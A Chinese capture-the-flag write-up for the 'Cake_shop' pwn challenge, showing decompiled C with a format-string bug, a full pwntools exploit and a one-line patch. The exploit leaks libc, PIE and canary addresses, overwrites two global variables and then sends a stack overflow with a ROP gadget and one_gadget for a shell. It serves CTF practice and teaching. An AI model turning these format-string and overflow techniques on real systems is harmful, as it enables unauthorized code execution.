# Cake_shop

## Information

- Category: AWDP Pwn
- Points: Unknown

## Description

Unknown

## Write-up

Kong 师傅分享的题，本来只是抱着试一试的心态，看看能不能做出来的，结果没想到还真
做出来了……决赛题，不过感觉挺简单，如果我在现场的话就拿分了哈哈哈，可惜了，国内赛
事接触太少了。Anyway，还是值得记录一下的。

粗略分析一下，发现 `do_nothing` 里面存在格式化字符串漏洞。由于主菜单无限循环，所
以我们可以无限触发格式化字符串漏洞，感觉这样一来题目难度瞬间就低了好几个档次。

```c del={10-11}
int do_nothing()
{
  char buf[40]; // [rsp+0h] [rbp-30h] BYREF
  unsigned __int64 v2; // [rsp+28h] [rbp-8h]

  v2 = __readfsqword(0x28u);
  puts(s);
  puts("x1B[33mMaybe it should be thought about in your headx1B[0m");
  puts("x1B[33mWhat if it happensx1B[0m");
  read(0, buf, 0x28u);
  return printf(buf);
}
```

`chat` 和 `earn_money` 功能没啥用，直接看 `buy`：

```c ins={36-37}
__int64 buy()
{
  int choice; // [rsp+8h] [rbp-38h] BYREF
  int money; // [rsp+Ch] [rbp-34h]
  _BYTE buf[40]; // [rsp+10h] [rbp-30h] BYREF
  unsigned __int64 v4; // [rsp+38h] [rbp-8h]

  v4 = __readfsqword(0x28u);
  puts(s);
  puts("x1B[33mWe have three kinds of cakes herex1B[0m");
  puts("x1B[33m1.Strawberry cake $10x1B[0m");
  puts("x1B[33m2.Orange cake $50x1B[0m");
  puts("x1B[33m3.Watermelon cake $100x1B[0m");
  __isoc99_scanf("%d", &choice);
  if ( choice == 1 )
  {
    money -= 10;
    money = money;
    if ( money < 0 )
      puts("x1B[33mYou don't have enough moneyx1B[0m");
  }
  if ( choice == 2 )
  {
    money -= 50;
    money = money;
    if ( money < 0 )
      puts("x1B[33mYou don't have enough moneyx1B[0m");
  }
  if ( choice == 3 )
  {
    money -= 100;
    money = money;
    if ( money < 0 )
      puts("x1B[33mYou don't have enough moneyx1B[0m");
  }
  if ( choice != 666 || money != 99999999 )
    return 0;
  puts("x1B[33mBuy the whole cake shopx1B[0m");
  read(0, buf, (unsigned int)size);
  return 0;
}
```

标绿的部分正常情况下是执行不到的，注意到后面还有个 read 函数，感觉有猫腻。因为有
格式化字符串漏洞，我们可以先把程序的几个关键基址算出来，然后再思考如何绕过检测，
执行到最后那个 read 函数。

这里 `choice` 我们可以直接传入 666，所以问题就是 `money` 怎么赋值了。注意到 mone
y 在 data 段，`rw-p` 权限，可篡改。

算了下，格式化字符串得写四字节，值是 `0x5f5e0ff`。由于只有几千万字节大小，写起来
不会花多久，所以我一开始做的时候是选择一次性写完的，但听 Kong 师傅说他一次性写完
有问题，于是我就改成一次写两字节了。

最后那个 read 将输入读到四十字节的 buffer 中，但是默认 size 只有 32 字节。不过由
于 size 也保存在 data 段，所以我们同理可以利用 do_nothing 的格式化字符串改写 siz
e，溢出返回地址。

## Exploit

```python
#!/usr/bin/env python3

from pwn import (
    ELF,
    args,
    context,
    flat,
    process,
    raw_input,
    remote,
)


FILE = "./pwn_patched"
HOST, PORT = "localhost", 1337

context(log_level="debug", binary=FILE, terminal="kitty")

elf = context.binary
libc = ELF("./libc.so.6")


def buy(choice):
    target.sendlineafter(b"Please make your choice>>", str(1).encode())
    target.sendlineafter(b"$100", str(choice).encode())


def do_nothing(msg):
    target.sendlineafter(b"Please make your choice>>", str(4).encode())
    target.sendlineafter(b"What if it happens", msg)


def launch():
    global target
    if args.L:
        target = process(FILE)
    else:
        target = remote(HOST, PORT)


def main():
    launch()

    payload = b"%17$p %8$p"
    do_nothing(payload)
    target.recvline()
    response = target.recvline().strip().split()
    libc.address = int(response[0], 16) - 0x24083
    pie = int(response[1], 16) - 0x1570

    payload = b"%11$p"
    do_nothing(payload)
    target.recvline()
    canary = int(target.recvline().strip(), 16)
    money_p1 = pie + 0x4010
    money_p2 = money_p1 + 2
    money_value_p1 = 0x5F5E0FF & 0xFFFF
    money_value_p2 = (0x5F5E0FF >> 16) & 0xFFFF
    read_size = pie + 0x4014
    one_gadget = libc.address + 0xE3AFE

    target.success(f"libc: {hex(libc.address)}")
    target.success(f"pie: {hex(pie)}")
    target.success(f"canary: {hex(canary)}")
    target.success(f"money: {hex(money_p1)}")
    target.success(f"read_size: {hex(read_size)}")
    target.success(f"one_gadget: {hex(one_gadget)}")

    payload = flat(
        f"aaaa%{money_value_p1 - 0x4}c%8$hn".encode(),
        money_p1,
    )
    do_nothing(payload)

    payload = flat(
        f"aaaaa%{money_value_p2 - 0x5}c%8$hn".encode(),
        money_p2,
    )
    do_nothing(payload)

    payload = flat(
        b"aaaaaa%1337c%8$n",
        read_size,
    )
    do_nothing(payload)
    buy(666)

    # 0x00000000000015cc: pop r12; pop r13; pop r14; pop r15; ret;
    payload = flat(
        b"A" * 0x28,
        canary,
        b"A" * 0x8,
        pie + 0x00000000000015CC,
        0,
        0,
        0,
        0,
        one_gadget,
    )
    target.sendline(payload)

    target.interactive()


if __name__ == "__main__":
    main()
```

## Patch

直接把 `printf` patch 成 `puts` 就好了，ez

```c ins={11}
int do_nothing()
{
  char buf[40]; // [rsp+0h] [rbp-30h] BYREF
  unsigned __int64 v2; // [rsp+28h] [rbp-8h]

  v2 = __readfsqword(0x28u);
  puts(s);
  puts("x1B[33mMaybe it should be thought about in your headx1B[0m");
  puts("x1B[33mWhat if it happensx1B[0m");
  read(0, buf, 0x28u);
  return puts(buf);
}
```